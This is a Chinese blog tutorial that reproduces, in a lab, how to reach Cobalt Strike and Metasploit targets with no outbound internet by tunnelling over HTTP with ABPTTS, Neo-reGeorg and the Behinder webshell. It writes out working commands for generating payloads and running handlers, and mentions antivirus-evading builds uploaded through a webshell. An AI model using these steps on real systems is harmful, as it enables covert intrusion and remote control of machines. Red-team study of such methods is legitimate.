HTTP 隧道工具上线C2

news/2025/3/4 18:19:52/文章来源:https://www.cnblogs.com/o-O-oO/p/18751053

前言

太多时候遇到目标不出网了,TCP、ICMP、DNS协议均不通,无法直接与公网的cobaltstrike或者metasploit服务端建立连接。

只能搭建HTTP隧道,那能通过HTTP隧道上线cobaltstrike或者metasploit吗❓
pystinger [1] 就可以做到,那除此之外呢❓
接下来,我们探究一下其他HTTP隧道工具能否上线cobaltstrike或者metasploit。

一、cobaltstrike

1.1 原理

【图】原理图

本地win10先上线cobaltstrike作为跳板机,并产生父beacon。然后利用HTTP正向隧道连接目标Server 2008的目标端口,进而产生子beacon。这里需要端口对端口的映射。而HTTP正向代理工具只有 ABPTTS[2] 满足这点。

1.2 复现环境

•CobaltStrike
公网 cobaltstrike 4.4

•跳板机
系统:windows 10
IP地址:10.211.55.7
用户名:cseroad

•目标机
系统:windows server 2008
IP地址:10.37.129.3
用户名:administrator

假设我们获取目标机server的webshell

然后利用 ABPTTS[3] 项目生成代理脚本。因为它本身具有端口转发的功能。

该脚本只支持jsp、aspx。且每次生成的脚本文件并不一样。
生成代理脚本:

python abpttsfactory.py -o proxy

上传abptts.jsp到目标机server 2008 上。访问得到一串密文,说明脚本文件正常运行。

客户端使用abpttsclient.py启用HTTP隧道。

python abpttsclient.py -c proxy/config.txt -u "http://10.37.129.3:8080/demo/abptts.jsp" -f 127.0.0.1:6666/127.0.0.1:9999

/后面为目标地址和端口,前面为本地地址和端口。

该命令意思是将目标机的9999端口通过http隧道映射至本机的6666端口,向本地的6666端口发送的请求都转发到目标机的9999端口上。

然后在cobaltstrike 上配置一条bind tcp 正向监听器。

值得注意的是生成的正向载荷只能选择Windows Executable Stageless 。

而Stager型和Stagerless型的区别在于:

Stager型:只包含简单的加载逻辑部分,Stager通过将payload加载到内存里从而实现PE的加载,这种加载方式称为反射型DLL加载。

Stagerless型:是把Stager和payload全写死在木马中,也就是它的体积更大、特征更明显。

只bin文件就有255K。

刚好最近更新了powershell的免杀插件,编译为exe后上传冰蝎。

木马在server 2008 目标机上开启了9999端口监听。

现在先在本地win 10上线cobaltstrike,产生一个父beacon。

而后在beacon里连接本地的6666端口。

abpttsclient.py 就会通过HTTP隧道连接到9999端口上。

connect 127.0.0.1 6666

成功正向上线10.37.129.3目标机。

二、metasploit

2.1 原理

【图】原理图

相比较cobaltstrike上线的原理,metasploit显得比较简单。kali建立HTTP隧道后,metasploit代理到内网,主动连接到目标机建立连接。

2.2 复现环境

•跳板机
系统:kali
IP地址:10.211.55.6
用户名:root

•目标机
系统:windows server 2008
IP地址:10.37.129.3
用户名:administrator

还是在存在一个shell的基础上,跳板机kali使用Neo-reGeorg代理工具。

检测代理正常建立后,创建正向连接的木马。

相比较cobaltstrike,metasploit生成的后门方式就更多了。以常见的c为例:

msfvenom -p windows/x64/meterpreter/bind_tcp lport=8888 -f c  -o shell.c

编译shell.c为免杀exe,并上传冰蝎后触发。

代理启用metasploit,配置RHOST为目标机IP地址。

proxychains msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set LPORT  8888
set RHOST 10.37.129.3
exploit -j -z

可接受到来自目标机server的session,成功建立会话。

三、Behinder3

3.1 原理

【图】原理图

本地win10先上线cobaltstrike作为跳板机,并产生父beacon。然后利用冰蝎的HTTP正向隧道连接目标Server 2012的目标端口,进而产生子beacon。

3.2 复现环境

•CobaltStrike
公网 cobaltstrike 4.4

•跳板机
系统:windows 10
IP地址:10.211.55.7
用户名:cseroad

•目标机
系统:windows server 2012
IP地址:10.37.129.4
用户名:administrator

现在不借助任何的HTTP隧道,只用Behinder3的内网穿透功能,同样将远程目标端口9999映射到本地6666端口。

配置如下:

现在我们在cobaltstrike上配置一条bind tcp 正向监听器并生成一个exe文件。通过Behinder3上传并触发。

在父beaon输入

connect 127.0.0.1 6666

即可成功正向上线10.37.129.4目标机。

总结

以后再也不用担心不出网的情况下无法使用cobaltstrike或metasploit,借助HTTP隧道,让cobaltstrike或metasploit走正向代理连接到目标机。

参考🔗

https://xz.aliyun.com/t/10410#toc-7 http://www.moy1sec.com/2021/11/02/cs-zai-bu-chu-wang-huan-jing-zhong-shang-xian/#toc-heading-6 http://events.jianshu.io/p/3c02bd778e55

References

[1] pystinger: https://github.com/FunnyWolf/pystinger
[2] ABPTTS: https://github.com/nccgroup/ABPTTS
[3] ABPTTS: https://github.com/nccgroup/ABPTTS

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/893530.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【权限维持技术】Windows文件隐藏(二)

免责声明 本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者及本公众号不为此承担任何责任。NTFS数据流 “交替数据流(Alternate Data Streams, ADS)”是Windows NTFS文件系统的高级特性。文件中可以包含多…

UML之参与者(Actor)

参与者是需求分析阶段的重要元素,指与待开发系统交互的外部实体,包括人、外部系统、传感器、数据库等。识别参与者需注意区分真正的参与者和传递型参与者。参与者通常用小人图像表示,在UML用例图中与用例通过关联线连接。参与者(Actor)是模型中非常重要的元素,识别参与者…

【权限维持技术】Windows文件隐藏(一)

免责声明 本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者及本公众号不为此承担任何责任。简介 文件隐藏是后门规避检查的一个重要手段,是权限维持中关键的一环。Windows操作系统可以使用多种方式进行文件…

Deepseek等AI技术冲击下,Salesforce业务岗位如何保住自己的工作?

“世界变化太快了!”——这句话几乎成了每个职场人的口头禅。尤其是对于Salesforce顾问来说,技术的迭代速度更是让人应接不暇。你还记得10年前的Salesforce是什么样子吗?每天穿着正装、打着领带,坐在办公室里从早忙到晚,用着Salesforce Classic,手动部署变更集(Change S…

20242816 2024-2025-2 《网络攻防实践》第1周作业

1. 知识点梳理与总结 1.1 各组成部分功能 攻击机:攻击机是网络攻防实验中的核心组件之一,承担主动攻击的角色。通常,它运行渗透测试操作系统,内置丰富的网络攻击工具,攻击机用于模拟黑客攻击行为,执行信息收集、漏洞扫描、渗透测试、提权、权限维持等操作,以验证目标系统…

拒绝被坑!大模型备案代办如何挑选

大模型备案代办哪家好一直是困扰广大开发者的一个问题。今天我就教下有大模型备案需求的朋友如何甄别这些代办机构。另外,我也经常帮助客户撰写备案材料,如有需求,大家也可以进行咨询。一、专业能力 相比精美的PPT,滔滔不绝的讲解和各种诱人动听的服务承诺,查看服务案例数…

网络攻防环境搭建-cnblog

20242935 2024-2025-2 《网络攻防实践》第一周作业 网络攻防环境搭建 一、知识点梳理与总结实验内容 基于提供的虚拟机镜像和虚拟机软件,在PC机或笔记本上部署网络攻防环境。实验要求理解攻防环境的构成要素:靶机、攻击机、攻击检测分析和防御平台。测试攻防环境的连通性。分…

sw添加宏的步骤

30秒教会你SolidWorks添加与删除宏程序,SolidWorks怎么添加宏程序,怎么把宏程序放到SolidWorks里,30秒教会你的教程。_哔哩哔哩_bilibili 参考上面的教程

单击事件-长按时间:手搓播放器

事件分析 事件区分核心:使用onMouseDown、onMouseUp和定时器来区分单击事件与长按事件 按下时设置长按事件定时器(并加入长按回调),并记录当前时间戳, 松开事件中如果当前时间戳差值小于定时器则执行单击回调,并清除定时器,如果大于定时器事件,则按下事件中定时器的长按…

Linux用户登录超时设置

1、引言在Linux系统中,用户登录超时设置通常用于增强系统的安全性,防止未经授权的长时间访问。合理的超时设置不仅可以提高系统的安全性,还可以优化用户体验。本文将探讨如何设置Linux终端登录超时,并提出一些优化策略,以确保系统资源得到有效利用,同时降低潜在的安全风险…

构建城市租房时空感知与智能决策平台

在城市化进程不断加速的今天,租房市场作为城市生活的重要组成部分,其健康发展对城市的稳定与繁荣至关重要。“城市租房时空感知与智能决策平台”的建设将利用测绘地理信息技术,为租房市场提供一个全新的视角和决策支持系统。 一、平台建设背景随着城市人口的增长和流动性的增…

从文件到块: 提高 Hugging Face 存储效率

Hugging Face 在 Git LFS 仓库 中存储了超过 30 PB 的模型、数据集和 Spaces。由于 Git 在文件级别进行存储和版本控制,任何文件的修改都需要重新上传整个文件。这在 Hub 上会产生高昂的成本,因为平均每个 Parquet 和 CSV 文件大小在 200-300 MB 之间,Safetensor 文件约 1 G…